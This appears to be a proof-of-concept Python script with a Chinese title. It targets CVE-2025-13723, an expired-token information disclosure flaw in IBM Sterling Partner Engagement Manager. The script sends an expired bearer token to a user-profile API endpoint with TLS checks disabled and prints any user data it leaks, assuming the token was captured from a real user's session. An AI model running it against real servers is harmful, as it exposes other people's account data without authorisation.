CVE-2025-13723: IBM Sterling Partner Engagement Manager 过期令牌信息泄露漏洞

# CVE-2025-13723 PoC - Expired Token Information Disclosure # Target: IBM Sterling Partner Engagement Manager # Affected Versions: 6.2.3.0-6.2.3.5, 6.2.4.0-6.2.4.2 import requests import time import json TARGET_URL = "https://target-server.example.com" VULN_ENDPOINT = "/api/v1/user/profile" def exploit_expired_token(): """ Simulate obtaining and using an expired access token In real scenario, token would be captured from legitimate user session """ headers = { "Authorization": "Bearer <expired_access_token>", "Content-Type": "application/json" } # Attempt to access protected endpoint with expired token response = requests.get( f"{TARGET_URL}{VULN_ENDPOINT}", headers=headers, verify=False, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If token is still accepted (vulnerability present), sensitive data is leaked if response.status_code == 200: data = response.json() print("[!] VULNERABLE: Expired token was accepted!") print(f"[!] Leaked user data: {json.dumps(data, indent=2)}") return True else: print("[*] NOT VULNERABLE: Token properly rejected") return False if __name__ == "__main__": print("CVE-2025-13723 PoC") print("=" * 50) exploit_expired_token()